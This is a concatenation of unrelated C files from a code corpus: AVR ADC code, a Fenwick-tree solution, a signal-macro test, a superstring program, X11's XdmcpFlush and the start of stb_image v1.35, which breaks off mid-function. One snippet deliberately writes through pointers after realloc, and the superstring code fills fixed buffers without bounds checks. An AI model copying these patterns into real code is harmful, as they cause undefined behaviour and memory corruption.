//// adc_mux are the multiplexer bits based on the adc selection in adc_flags
//uint8_t adc_mux[3] = { 0b0000 /*ADC0*/, 0b0110 /*ADC6*/, 0b0111 /*ADC7*/ };
//
//// averaging memory
//int16_t adc_current_mem[ADC_AVERAGES];
//int16_t adc_voltage_mem[ADC_AVERAGES];
//volatile uint8_t adc_mem_offset = 0;
//volatile bool adc_refresh = false;
//
//void beginAdcOperation()
//{
// ADMUX = (1 << REFS1) | (1 << REFS0) | adc_mux[adc_flags & 0b11];
// // Prescaler should be 80 for 200kHz sampling clock. set to 64 or 128
// ADCSRA = (1 << ADIE) | (1 << ADPS2) | (1 << ADPS1) | (0 << ADPS0);
// // enable and start conversion
// ADCSRA |= (1 << ADEN) | (1 << ADSC);
//}
//
//void setAdcAdmux(uint8_t mux)
//{
// ADMUX &= 0xF0;
// ADMUX |= mux;
//}
//
//ISR(ADC_vect)
//{
// uint8_t flags = adc_flags;
// uint8_t converter = flags & 0b11;
//
// if(converter == 0)
// {
// // store result
// adc_current_mem[adc_mem_offset] = ADC;
//
// // select next channel
// if(flags & ADC_INVERT_VOLTAGE)
// converter = ADC_VOLTAGE_NEG;
// else
// converter = ADC_VOLTAGE_POS;
// }
// else
// {
// int16_t res = ADC;
//
// if(flags & ADC_INVERT_VOLTAGE)
// res = -res;
//
// // store result
// adc_voltage_mem[adc_mem_offset] = res;
//
// // switch inverting mode
// if(res == 0)
// flags ^= ADC_INVERT_VOLTAGE;
//
// // set display refresh
// adc_refresh = true;
//
// // new offset
// ++adc_mem_offset;
//
// if(adc_mem_offset >= ADC_AVERAGES)
// adc_mem_offset = 0;
//
// // select next channel
// converter = ADC_CURRENT;
// }
//
// // update flags
// adc_flags = (flags & 0xFC) | converter;
//
// // select next channel
// setAdcAdmux(adc_mux[converter]);
// // start conversion
// ADCSRA |= (1 << ADSC);
//}
//
//int main_movav(void)
//{
// sei();
//
// segmentDisplayInit();
//
// beginAdcOperation();
//
// while(1)
// {
// if(adc_refresh)
// {
// adc_refresh = false;
//
// int32_t sum = 0;
//
// for(int i = 0; i < ADC_AVERAGES; ++i)
// sum += adc_voltage_mem[i];
//
// float voltage = 15.0 * 2.56 / (1.36363636 * 1024.0 * ADC_AVERAGES) * (float)sum;
//
// displayValues(voltage, -10);
// }
// }
//}
//
|
the_stack_data/95449050.c
|
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#define CLR(d) memset(d, 0, sizeof(d))
#define lli long long int
int inline inp()
{
int n=0;
char c=getchar_unlocked();
while(c < '0' || c >'9') {c=getchar_unlocked();}
while(c>='0' && c<='9')
{
n=(n<<3)+(n<<1)+c-'0';
c=getchar_unlocked();
}
return n;
}
int n;
lli BIT1[100010], BIT2[100010];
lli query1(int k)
{
lli s = 0;
while( k > 0)
{
s += BIT1[k];
k -= k & -k;
}
return s;
}
void update1(int k, lli v)
{
while(k <= n)
{
BIT1[k] += v;
k += k & -k;
}
}
lli query2(int k)
{
lli s = 0;
while( k > 0)
{
s += BIT2[k];
k -= k & -k;
}
return s;
}
void update2(int k, lli v)
{
while(k <= n)
{
BIT2[k] += v;
k += k & -k;
}
}
int main()
{
int t, c, p, q, z;
lli v1, v2, v;
t = inp();
while(t--)
{
CLR(BIT1);
CLR(BIT2);
n = inp();
c = inp();
while(c--)
{
z = inp();
if(z) // query
{
p = inp();
q = inp();
v1 = query1(q)*q - query2(q);
v2 = query1(p-1)*(p-1) - query2(p-1);
printf("%lld\n",v1 - v2 );
}
else
{
p = inp();
q = inp();
scanf("%lld",&v);
update1(p, v);
update1(q+1, -v);
update2(p, v*(p-1));
update2(q+1, -v*q);
}
}
}
return 0;
}
|
the_stack_data/120058.c
|
/*
Test that the ILL_ILLADR macro is defined.
*/
#include <signal.h>
#ifndef ILL_ILLADR
#error ILL_ILLADR not defined
#endif
|
the_stack_data/184519464.c
|
//
// main.c
// SUPERPUPERSTROKA
//
// Created by Roman on 03.11.14.
// Copyright (c) 2014 Roman. All rights reserved.
//
#include <stdio.h>
#include <string.h>
int overlap(char* a, char* b);
int max(int a, int b){
if(a>b)
return a;
return b;
}
int overlap(char* a, char* b){
int i, j=0, count=0;
if((strlen(a)==0)||(strlen(b)==0))
return 0;
i = 0;
while(b[i]!='\0'){
if(a[j]==b[i]){
count++;
j++;
}
else{
i = i-count;
count = 0;
j = 0;
}
i++;
}
return count;
}
int main(int argc, const char * argv[]) {
int i, j, k, m, max = 0, index1=0, index2=0, super = 0;
int n;
scanf("%d\n", &n);
char strings[n][100];
for(i = 0; i < n; i++){
fgets(strings[i], 100, stdin);
//gets(strings[i]);
strings[i][strlen(strings[i])-1] = '\0';
}
for(m = 0; m<n; m++){
for(j = 0; j<n-1; j++){
for(k = j+1; k<n; k++){
if (overlap(strings[j], strings[k]) > max){
max = overlap(strings[j], strings[k]);
index1 = k;
index2 = j;
}
if (overlap(strings[k], strings[j]) > max){
max = overlap(strings[k], strings[j]);
index1 = j;
index2 = k;
}
}
}
if(max>0){
for (i = strlen(strings[index1]); i<(strlen(strings[index1])+strlen(strings[index2])-overlap(strings[index1], strings[index2])); i++)
strings[index1][i] = strings[index2][max++];
strings[index2][0] = '\0';
strings[index1][strlen(strings[index1])-1]='\0';
}
max = 0;
}
for(i = 0; i < n; i++){
if(strlen(strings[i])!=0)
super +=strlen(strings[i]);
}
//strings[super][strlen(strings[super])-1] = '\0';
printf("%lu\n", super-1);
return 0;
}
|
the_stack_data/145454175.c
|
/*
*
Copyright 1989, 1998 The Open Group
Permission to use, copy, modify, distribute, and sell this software and its
documentation for any purpose is hereby granted without fee, provided that
the above copyright notice appear in all copies and that both that
copyright notice and this permission notice appear in supporting
documentation.
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Except as contained in this notice, the name of The Open Group shall not be
used in advertising or otherwise to promote the sale, use or other dealings
in this Software without prior written authorization from The Open Group.
* *
* Author: Keith Packard, MIT X Consortium
*/
/* $XFree86: xc/lib/Xdmcp/Flush.c,v 3.9 2006/01/09 14:59:08 dawes Exp $ */
#ifdef WIN32
#define _WILLWINSOCK_
#endif
#include <X11/Xos.h>
#include <X11/X.h>
#include <X11/Xmd.h>
#include <X11/Xdmcp.h>
#ifdef STREAMSCONN
#include <tiuser.h>
#else
#ifdef WIN32
#include <X11/Xwinsock.h>
#else
#ifndef Lynx
#include <sys/socket.h>
#else
#include <socket.h>
#endif /* !Lynx */
#endif
#endif
int
XdmcpFlush (fd, buffer, to, tolen)
int fd;
XdmcpBufferPtr buffer;
XdmcpNetaddr to;
int tolen;
{
int result;
#ifdef STREAMSCONN
struct t_unitdata dataunit;
dataunit.addr.buf = to;
dataunit.addr.len = tolen;
dataunit.opt.len = 0; /* default options */
dataunit.udata.buf = (char *)buffer->data;
dataunit.udata.len = buffer->pointer;
result = t_sndudata(fd, &dataunit);
if (result < 0)
return FALSE;
#else
result = sendto (fd, (char *)buffer->data, buffer->pointer, 0,
(struct sockaddr *)to, tolen);
if (result != buffer->pointer)
return FALSE;
#endif
return TRUE;
}
|
the_stack_data/153267469.c
|
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int *p = malloc(sizeof(int));
int *q = realloc(p, sizeof(int));
int *z = realloc(q, sizeof(int));
*p = 1;
*q = 2;
*z = 3;
if (p == q)
printf("%p %p %p %d %d %d\n", p, q, z, *p, *q, *z);
return 0;
}
|
the_stack_data/106496.c
|
/* stb_image - v1.35 - public domain JPEG/PNG reader - http://nothings.org/stb_image.c
when you control the images you're loading
no warranty implied; use at your own risk
QUICK NOTES:
Primarily of interest to game developers and other people who can
avoid problematic images and only need the trivial interface
JPEG baseline (no JPEG progressive)
PNG 8-bit-per-channel only
TGA (not sure what subset, if a subset)
BMP non-1bpp, non-RLE
PSD (composited view only, no extra channels)
GIF (*comp always reports as 4-channel)
HDR (radiance rgbE format)
PIC (Softimage PIC)
- decode from memory or through FILE (define STBI_NO_STDIO to remove code)
- decode from arbitrary I/O callbacks
- overridable dequantizing-IDCT, YCbCr-to-RGB conversion (define STBI_SIMD)
Latest revisions:
1.35 (2014-05-27) warnings, bugfixes, TGA optimization, etc
1.34 (unknown ) warning fix
1.33 (2011-07-14) minor fixes suggested by Dave Moore
1.32 (2011-07-13) info support for all filetypes (SpartanJ)
1.31 (2011-06-19) a few more leak fixes, bug in PNG handling (SpartanJ)
1.30 (2011-06-11) added ability to load files via io callbacks (Ben Wenger)
1.29 (2010-08-16) various warning fixes from Aurelien Pocheville
1.28 (2010-08-01) fix bug in GIF palette transparency (SpartanJ)
See end of file for full revision history.
TODO:
stbi_info support for BMP,PSD,HDR,PIC
============================ Contributors =========================
Image formats Bug fixes & warning fixes
Sean Barrett (jpeg, png, bmp) Marc LeBlanc
Nicolas Schulz (hdr, psd) Christpher Lloyd
Jonathan Dummer (tga) Dave Moore
Jean-Marc Lienher (gif) Won Chun
Tom Seddon (pic) the Horde3D community
Thatcher Ulrich (psd) Janez Zemva
Jonathan Blow
Laurent Gomila
Extensions, features Aruelien Pocheville
Jetro Lauha (stbi_info) Ryamond Barbiero
James "moose2000" Brown (iPhone PNG) David Woo
Ben "Disch" Wenger (io callbacks) Roy Eltham
Martin "SpartanJ" Golini Luke Graham
Thomas Ruf
John Bartholomew
Optimizations & bugfixes Ken Hamada
Fabian "ryg" Giesen Cort Stratton
Arseny Kapoulkine Blazej Dariusz Roszkowski
Thibault Reuille
If your name should be here but Paul Du Bois
isn't let Sean know. Guillaume George
*/
#ifndef STBI_INCLUDE_STB_IMAGE_H
#define STBI_INCLUDE_STB_IMAGE_H
// To get a header file for this, either cut and paste the header,
// or create stb_image.h, #define STBI_HEADER_FILE_ONLY, and
// then include stb_image.c from it.
//// begin header file ////////////////////////////////////////////////////
//
// Limitations:
// - no jpeg progressive support
// - non-HDR formats support 8-bit samples only (jpeg, png)
// - no delayed line count (jpeg) -- IJG doesn't support either
// - no 1-bit BMP
// - GIF always returns *comp=4
//
// Basic usage (see HDR discussion below):
// int x,y,n;
// unsigned char *data = stbi_load(filename, &x, &y, &n, 0);
// // ... process data if not NULL ...
// // ... x = width, y = height, n = # 8-bit components per pixel ...
// // ... replace '0' with '1'..'4' to force that many components per pixel
// // ... but 'n' will always be the number that it would have been if you said 0
// stbi_image_free(data)
//
// Standard parameters:
// int *x -- outputs image width in pixels
// int *y -- outputs image height in pixels
// int *comp -- outputs # of image components in image file
// int req_comp -- if non-zero, # of image components requested in result
//
// The return value from an image loader is an 'unsigned char *' which points
// to the pixel data. The pixel data consists of *y scanlines of *x pixels,
// with each pixel consisting of N interleaved 8-bit components; the first
// pixel pointed to is top-left-most in the image. There is no padding between
// image scanlines or between pixels, regardless of format. The number of
// components N is 'req_comp' if req_comp is non-zero, or *comp otherwise.
// If req_comp is non-zero, *comp has the number of components that _would_
// have been output otherwise. E.g. if you set req_comp to 4, you will always
// get RGBA output, but you can check *comp to easily see if it's opaque.
//
// An output image with N components has the following components interleaved
// in this order in each pixel:
//
// N=#comp components
// 1 grey
// 2 grey, alpha
// 3 red, green, blue
// 4 red, green, blue, alpha
//
// If image loading fails for any reason, the return value will be NULL,
// and *x, *y, *comp will be unchanged. The function stbi_failure_reason()
// can be queried for an extremely brief, end-user unfriendly explanation
// of why the load failed. Define STBI_NO_FAILURE_STRINGS to avoid
// compiling these strings at all, and STBI_FAILURE_USERMSG to get slightly
// more user-friendly ones.
//
// Paletted PNG, BMP, GIF, and PIC images are automatically depalettized.
//
// ===========================================================================
//
// iPhone PNG support:
//
// By default we convert iphone-formatted PNGs back to RGB; nominally they
// would silently load as BGR, except the existing code should have just
// failed on such iPhone PNGs. But you can disable this conversion by
// by calling stbi_convert_iphone_png_to_rgb(0), in which case
// you will always just get the native iphone "format" through.
//
// Call stbi_set_unpremultiply_on_load(1) as well to force a divide per
// pixel to remove any premultiplied alpha *only* if the image file explicitly
// says there's premultiplied data (currently only happens in iPhone images,
// and only if iPhone convert-to-rgb processing is on).
//
// ===========================================================================
//
// HDR image support (disable by defining STBI_NO_HDR)
//
// stb_image now supports loading HDR images in general, and currently
// the Radiance .HDR file format, although the support is provided
// generically. You can still load any file through the existing interface;
// if you attempt to load an HDR file, it will be automatically remapped to
// LDR, assuming gamma 2.2 and an arbitrary scale factor defaulting to 1;
// both of these constants can be reconfigured through this interface:
//
// stbi_hdr_to_ldr_gamma(2.2f);
// stbi_hdr_to_ldr_scale(1.0f);
//
// (note, do not use _inverse_ constants; stbi_image will invert them
// appropriately).
//
// Additionally, there is a new, parallel interface for loading files as
// (linear) floats to preserve the full dynamic range:
//
// float *data = stbi_loadf(filename, &x, &y, &n, 0);
//
// If you load LDR images through this interface, those images will
// be promoted to floating point values, run through the inverse of
// constants corresponding to the above:
//
// stbi_ldr_to_hdr_scale(1.0f);
// stbi_ldr_to_hdr_gamma(2.2f);
//
// Finally, given a filename (or an open file or memory block--see header
// file for details) containing image data, you can query for the "most
// appropriate" interface to use (that is, whether the image is HDR or
// not), using:
//
// stbi_is_hdr(char *filename);
//
// ===========================================================================
//
// I/O callbacks
//
// I/O callbacks allow you to read from arbitrary sources, like packaged
// files or some other source. Data read from callbacks are processed
// through a small internal buffer (currently 128 bytes) to try to reduce
// overhead.
//
// The three functions you must define are "read" (reads some bytes of data),
// "skip" (skips some bytes of data), "eof" (reports if the stream is at the end).
#ifndef STBI_NO_STDIO
#if defined(_MSC_VER) && _MSC_VER >= 1400
#define _CRT_SECURE_NO_WARNINGS // suppress warnings about fopen()
#pragma warning(push)
#pragma warning(disable:4996) // suppress even more warnings about fopen()
#endif
#include <stdio.h>
#endif // STBI_NO_STDIO
#define STBI_VERSION 1
enum
{
STBI_default = 0, // only used for req_comp
STBI_grey = 1,
STBI_grey_alpha = 2,
STBI_rgb = 3,
STBI_rgb_alpha = 4
};
typedef unsigned char stbi_uc;
#ifdef __cplusplus
extern "C" {
#endif
//////////////////////////////////////////////////////////////////////////////
//
// PRIMARY API - works on images of any type
//
//
// load image by filename, open file, or memory buffer
//
extern stbi_uc *stbi_load_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp);
#ifndef STBI_NO_STDIO
extern stbi_uc *stbi_load (char const *filename, int *x, int *y, int *comp, int req_comp);
extern stbi_uc *stbi_load_from_file (FILE *f, int *x, int *y, int *comp, int req_comp);
// for stbi_load_from_file, file pointer is left pointing immediately after image
#endif
typedef struct
{
int (*read) (void *user,char *data,int size); // fill 'data' with 'size' bytes. return number of bytes actually read
void (*skip) (void *user,int n); // skip the next 'n' bytes, or 'unget' the last -n bytes if negative
int (*eof) (void *user); // returns nonzero if we are at end of file/data
} stbi_io_callbacks;
extern stbi_uc *stbi_load_from_callbacks (stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp);
#ifndef STBI_NO_HDR
extern float *stbi_loadf_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp);
#ifndef STBI_NO_STDIO
extern float *stbi_loadf (char const *filename, int *x, int *y, int *comp, int req_comp);
extern float *stbi_loadf_from_file (FILE *f, int *x, int *y, int *comp, int req_comp);
#endif
extern float *stbi_loadf_from_callbacks (stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp);
extern void stbi_hdr_to_ldr_gamma(float gamma);
extern void stbi_hdr_to_ldr_scale(float scale);
extern void stbi_ldr_to_hdr_gamma(float gamma);
extern void stbi_ldr_to_hdr_scale(float scale);
#endif // STBI_NO_HDR
// stbi_is_hdr is always defined
extern int stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user);
extern int stbi_is_hdr_from_memory(stbi_uc const *buffer, int len);
#ifndef STBI_NO_STDIO
extern int stbi_is_hdr (char const *filename);
extern int stbi_is_hdr_from_file(FILE *f);
#endif // STBI_NO_STDIO
// get a VERY brief reason for failure
// NOT THREADSAFE
extern const char *stbi_failure_reason (void);
// free the loaded image -- this is just free()
extern void stbi_image_free (void *retval_from_stbi_load);
// get image dimensions & components without fully decoding
extern int stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp);
extern int stbi_info_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp);
#ifndef STBI_NO_STDIO
extern int stbi_info (char const *filename, int *x, int *y, int *comp);
extern int stbi_info_from_file (FILE *f, int *x, int *y, int *comp);
#endif
// for image formats that explicitly notate that they have premultiplied alpha,
// we just return the colors as stored in the file. set this flag to force
// unpremultiplication. results are undefined if the unpremultiply overflow.
extern void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply);
// indicate whether we should process iphone images back to canonical format,
// or just pass them through "as-is"
extern void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert);
// ZLIB client - used by PNG, available for other purposes
extern char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen);
extern char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header);
extern char *stbi_zlib_decode_malloc(const char *buffer, int len, int *outlen);
extern int stbi_zlib_decode_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
extern char *stbi_zlib_decode_noheader_malloc(const char *buffer, int len, int *outlen);
extern int stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen);
// define faster low-level operations (typically SIMD support)
#ifdef STBI_SIMD
typedef void (*stbi_idct_8x8)(stbi_uc *out, int out_stride, short data[64], unsigned short *dequantize);
// compute an integer IDCT on "input"
// input[x] = data[x] * dequantize[x]
// write results to 'out': 64 samples, each run of 8 spaced by 'out_stride'
// CLAMP results to 0..255
typedef void (*stbi_YCbCr_to_RGB_run)(stbi_uc *output, stbi_uc const *y, stbi_uc const *cb, stbi_uc const *cr, int count, int step);
// compute a conversion from YCbCr to RGB
// 'count' pixels
// write pixels to 'output'; each pixel is 'step' bytes (either 3 or 4; if 4, write '255' as 4th), order R,G,B
// y: Y input channel
// cb: Cb input channel; scale/biased to be 0..255
// cr: Cr input channel; scale/biased to be 0..255
extern void stbi_install_idct(stbi_idct_8x8 func);
extern void stbi_install_YCbCr_to_RGB(stbi_YCbCr_to_RGB_run func);
#endif // STBI_SIMD
#ifdef __cplusplus
}
#endif
//
//
//// end header file /////////////////////////////////////////////////////
#endif // STBI_INCLUDE_STB_IMAGE_H
#ifndef STBI_HEADER_FILE_ONLY
#ifndef STBI_NO_HDR
#include <math.h> // ldexp
#include <string.h> // strcmp, strtok
#endif
#ifndef STBI_NO_STDIO
#include <stdio.h>
#endif
#include <stdlib.h>
#include <memory.h>
#include <assert.h>
#include <stdarg.h>
#include <stddef.h> // ptrdiff_t on osx
#ifndef _MSC_VER
#ifdef __cplusplus
#define stbi_inline inline
#else
#define stbi_inline
#endif
#else
#define stbi_inline __forceinline
#endif
#ifdef _MSC_VER
typedef unsigned char stbi__uint8;
typedef unsigned short stbi__uint16;
typedef signed short stbi__int16;
typedef unsigned int stbi__uint32;
typedef signed int stbi__int32;
#else
#include <stdint.h>
typedef uint8_t stbi__uint8;
typedef uint16_t stbi__uint16;
typedef int16_t stbi__int16;
typedef uint32_t stbi__uint32;
typedef int32_t stbi__int32;
#endif
// should produce compiler error if size is wrong
typedef unsigned char validate_uint32[sizeof(stbi__uint32)==4 ? 1 : -1];
#ifdef _MSC_VER
#define STBI_NOTUSED(v) (void)(v)
#else
#define STBI_NOTUSED(v) (void)sizeof(v)
#endif
#ifdef _MSC_VER
#define STBI_HAS_LROTL
#endif
#ifdef STBI_HAS_LROTL
#define stbi_lrot(x,y) _lrotl(x,y)
#else
#define stbi_lrot(x,y) (((x) << (y)) | ((x) >> (32 - (y))))
#endif
///////////////////////////////////////////////
//
// stbi struct and start_xxx functions
// stbi structure is our basic context used by all images, so it
// contains all the IO context, plus some basic image information
typedef struct
{
stbi__uint32 img_x, img_y;
int img_n, img_out_n;
stbi_io_callbacks io;
void *io_user_data;
int read_from_callbacks;
int buflen;
stbi__uint8 buffer_start[128];
stbi__uint8 *img_buffer, *img_buffer_end;
stbi__uint8 *img_buffer_original;
} stbi;
static void refill_buffer(stbi *s);
// initialize a memory-decode context
static void start_mem(stbi *s, stbi__uint8 const *buffer, int len)
{
s->io.read = NULL;
s->read_from_callbacks = 0;
s->img_buffer = s->img_buffer_original = (stbi__uint8 *) buffer;
s->img_buffer_end = (stbi__uint8 *) buffer+len;
}
// initialize a callback-based context
static void start_callbacks(stbi *s, stbi_io_callbacks *c, void *user)
{
s->io = *c;
s->io_user_data = user;
s->buflen = sizeof(s->buffer_start);
s->read_from_callbacks = 1;
s->img_buffer_original = s->buffer_start;
refill_buffer(s);
}
#ifndef STBI_NO_STDIO
static int stdio_read(void *user, char *data, int size)
{
return (int) fread(data,1,size,(FILE*) user);
}
static void stdio_skip(void *user, int n)
{
fseek((FILE*) user, n, SEEK_CUR);
}
static int stdio_eof(void *user)
{
return feof((FILE*) user);
}
static stbi_io_callbacks stbi_stdio_callbacks =
{
stdio_read,
stdio_skip,
stdio_eof,
};
static void start_file(stbi *s, FILE *f)
{
start_callbacks(s, &stbi_stdio_callbacks, (void *) f);
}
//static void stop_file(stbi *s) { }
#endif // !STBI_NO_STDIO
static void stbi_rewind(stbi *s)
{
// conceptually rewind SHOULD rewind to the beginning of the stream,
// but we just rewind to the beginning of the initial buffer, because
// we only use it after doing 'test', which only ever looks at at most 92 bytes
s->img_buffer = s->img_buffer_original;
}
static int stbi_jpeg_test(stbi *s);
static stbi_uc *stbi_jpeg_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_jpeg_info(stbi *s, int *x, int *y, int *comp);
static int stbi_png_test(stbi *s);
static stbi_uc *stbi_png_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_png_info(stbi *s, int *x, int *y, int *comp);
static int stbi_bmp_test(stbi *s);
static stbi_uc *stbi_bmp_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_tga_test(stbi *s);
static stbi_uc *stbi_tga_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_tga_info(stbi *s, int *x, int *y, int *comp);
static int stbi_psd_test(stbi *s);
static stbi_uc *stbi_psd_load(stbi *s, int *x, int *y, int *comp, int req_comp);
#ifndef STBI_NO_HDR
static int stbi_hdr_test(stbi *s);
static float *stbi_hdr_load(stbi *s, int *x, int *y, int *comp, int req_comp);
#endif
static int stbi_pic_test(stbi *s);
static stbi_uc *stbi_pic_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_gif_test(stbi *s);
static stbi_uc *stbi_gif_load(stbi *s, int *x, int *y, int *comp, int req_comp);
static int stbi_gif_info(stbi *s, int *x, int *y, int *comp);
// this is not threadsafe
static const char *failure_reason;
const char *stbi_failure_reason(void)
{
return failure_reason;
}
static int e(const char *str)
{
failure_reason = str;
return 0;
}
// e - error
// epf - error returning pointer to float
// epuc - error returning pointer to unsigned char
#ifdef STBI_NO_FAILURE_STRINGS
#define e(x,y) 0
#elif defined(STBI_FAILURE_USERMSG)
#define e(x,y) e(y)
#else
#define e(x,y) e(x)
#endif
#define epf(x,y) ((float *) (e(x,y)?NULL:NULL))
#define epuc(x,y) ((unsigned char *) (e(x,y)?NULL:NULL))
void stbi_image_free(void *retval_from_stbi_load)
{
free(retval_from_stbi_load);
}
#ifndef STBI_NO_HDR
static float *ldr_to_hdr(stbi_uc *data, int x, int y, int comp);
static stbi_uc *hdr_to_ldr(float *data, int x, int y, int comp);
#endif
static unsigned char *stbi_load_main(stbi *s, int *x, int *y, int *comp, int req_comp)
{
if (stbi_jpeg_test(s)) return stbi_jpeg_load(s,x,y,comp,req_comp);
if (stbi_png_test(s)) return stbi_png_load(s,x,y,comp,req_comp);
if (stbi_bmp_test(s)) return stbi_bmp_load(s,x,y,comp,req_comp);
if (stbi_gif_test(s)) return stbi_gif_load(s,x,y,comp,req_comp);
if (stbi_psd_test(s)) return stbi_psd_load(s,x,y,comp,req_comp);
if (stbi_pic_test(s)) return stbi_pic_load(s,x,y,comp,req_comp);
#ifndef STBI_NO_HDR
if (stbi_hdr_test(s)) {
float *hdr = stbi_hdr_load(s, x,y,comp,req_comp);
return hdr_to_ldr(hdr, *x, *y, req_comp ? req_comp : *comp);
}
#endif
// test tga last because it's a crappy test!
if (stbi_tga_test(s))
return stbi_tga_load(s,x,y,comp,req_comp);
return epuc("unknown image type", "Image not of any known type, or corrupt");
}
#ifndef STBI_NO_STDIO
unsigned char *stbi_load(char const *filename, int *x, int *y, int *comp, int req_comp)
{
FILE *f = fopen(filename, "rb");
unsigned char *result;
if (!f) return epuc("can't fopen", "Unable to open file");
result = stbi_load_from_file(f,x,y,comp,req_comp);
fclose(f);
return result;
}
unsigned char *stbi_load_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
{
unsigned char *result;
stbi s;
start_file(&s,f);
result = stbi_load_main(&s,x,y,comp,req_comp);
if (result) {
// need to 'unget' all the characters in the IO buffer
fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
}
return result;
}
#endif //!STBI_NO_STDIO
unsigned char *stbi_load_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
{
stbi s;
start_mem(&s,buffer,len);
return stbi_load_main(&s,x,y,comp,req_comp);
}
unsigned char *stbi_load_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
{
stbi s;
start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
return stbi_load_main(&s,x,y,comp,req_comp);
}
#ifndef STBI_NO_HDR
float *stbi_loadf_main(stbi *s, int *x, int *y, int *comp, int req_comp)
{
unsigned char *data;
#ifndef STBI_NO_HDR
if (stbi_hdr_test(s))
return stbi_hdr_load(s,x,y,comp,req_comp);
#endif
data = stbi_load_main(s, x, y, comp, req_comp);
if (data)
return ldr_to_hdr(data, *x, *y, req_comp ? req_comp : *comp);
return epf("unknown image type", "Image not of any known type, or corrupt");
}
float *stbi_loadf_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
{
stbi s;
start_mem(&s,buffer,len);
return stbi_loadf_main(&s,x,y,comp,req_comp);
}
float *stbi_loadf_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
{
stbi s;
start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
return stbi_loadf_main(&s,x,y,comp,req_comp);
}
#ifndef STBI_NO_STDIO
float *stbi_loadf(char const *filename, int *x, int *y, int *comp, int req_comp)
{
FILE *f = fopen(filename, "rb");
float *result;
if (!f) return epf("can't fopen", "Unable to open file");
result = stbi_loadf_from_file(f,x,y,comp,req_comp);
fclose(f);
return result;
}
float *stbi_loadf_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
{
stbi s;
start_file(&s,f);
return stbi_loadf_main(&s,x,y,comp,req_comp);
}
#endif // !STBI_NO_STDIO
#endif // !STBI_NO_HDR
// these is-hdr-or-not is defined independent of whether STBI_NO_HDR is
// defined, for API simplicity; if STBI_NO_HDR is defined, it always
// reports false!
int stbi_is_hdr_from_memory(stbi_uc const *buffer, int len)
{
#ifndef STBI_NO_HDR
stbi s;
start_mem(&s,buffer,len);
return stbi_hdr_test(&s);
#else
STBI_NOTUSED(buffer);
STBI_NOTUSED(len);
return 0;
#endif
}
#ifndef STBI_NO_STDIO
extern int stbi_is_hdr (char const *filename)
{
FILE *f = fopen(filename, "rb");
int result=0;
if (f) {
result = stbi_is_hdr_from_file(f);
fclose(f);
}
return result;
}
extern int stbi_is_hdr_from_file(FILE *f)
{
#ifndef STBI_NO_HDR
stbi s;
start_file(&s,f);
return stbi_hdr_test(&s);
#else
return 0;
#endif
}
#endif // !STBI_NO_STDIO
extern int stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user)
{
#ifndef STBI_NO_HDR
stbi s;
start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
return stbi_hdr_test(&s);
#else
return 0;
#endif
}
#ifndef STBI_NO_HDR
static float h2l_gamma_i=1.0f/2.2f, h2l_scale_i=1.0f;
static float l2h_gamma=2.2f, l2h_scale=1.0f;
void stbi_hdr_to_ldr_gamma(float gamma) { h2l_gamma_i = 1/gamma; }
void stbi_hdr_to_ldr_scale(float scale) { h2l_scale_i = 1/scale; }
void stbi_ldr_to_hdr_gamma(float gamma) { l2h_gamma = gamma; }
void stbi_ldr_to_hdr_scale(float scale) { l2h_scale = scale; }
#endif
//////////////////////////////////////////////////////////////////////////////
//
// Common code used by all image loaders
//
enum
{
SCAN_load=0,
SCAN_type,
SCAN_header
};
static void refill_buffer(stbi *s)
{
int n = (s->io.read)(s->io_user_data,(char*)s->buffer_start,s->buflen);
if (n == 0) {
// at end of file, treat same as if from memory, but need to handle case
// where s->img_buffer isn't pointing to safe memory, e.g. 0-byte file
s->read_from_callbacks = 0;
s->img_buffer = s->buffer_start;
s->img_buffer_end = s->buffer_start+1;
*s->img_buffer = 0;
} else {
s->img_buffer = s->buffer_start;
s->img_buffer_end = s->buffer_start + n;
}
}
stbi_inline static int get8(stbi *s)
{
if (s->img_buffer < s->img_buffer_end)
return *s->img_buffer++;
if (s->read_from_callbacks) {
refill_buffer(s);
return *s->img_buffer++;
}
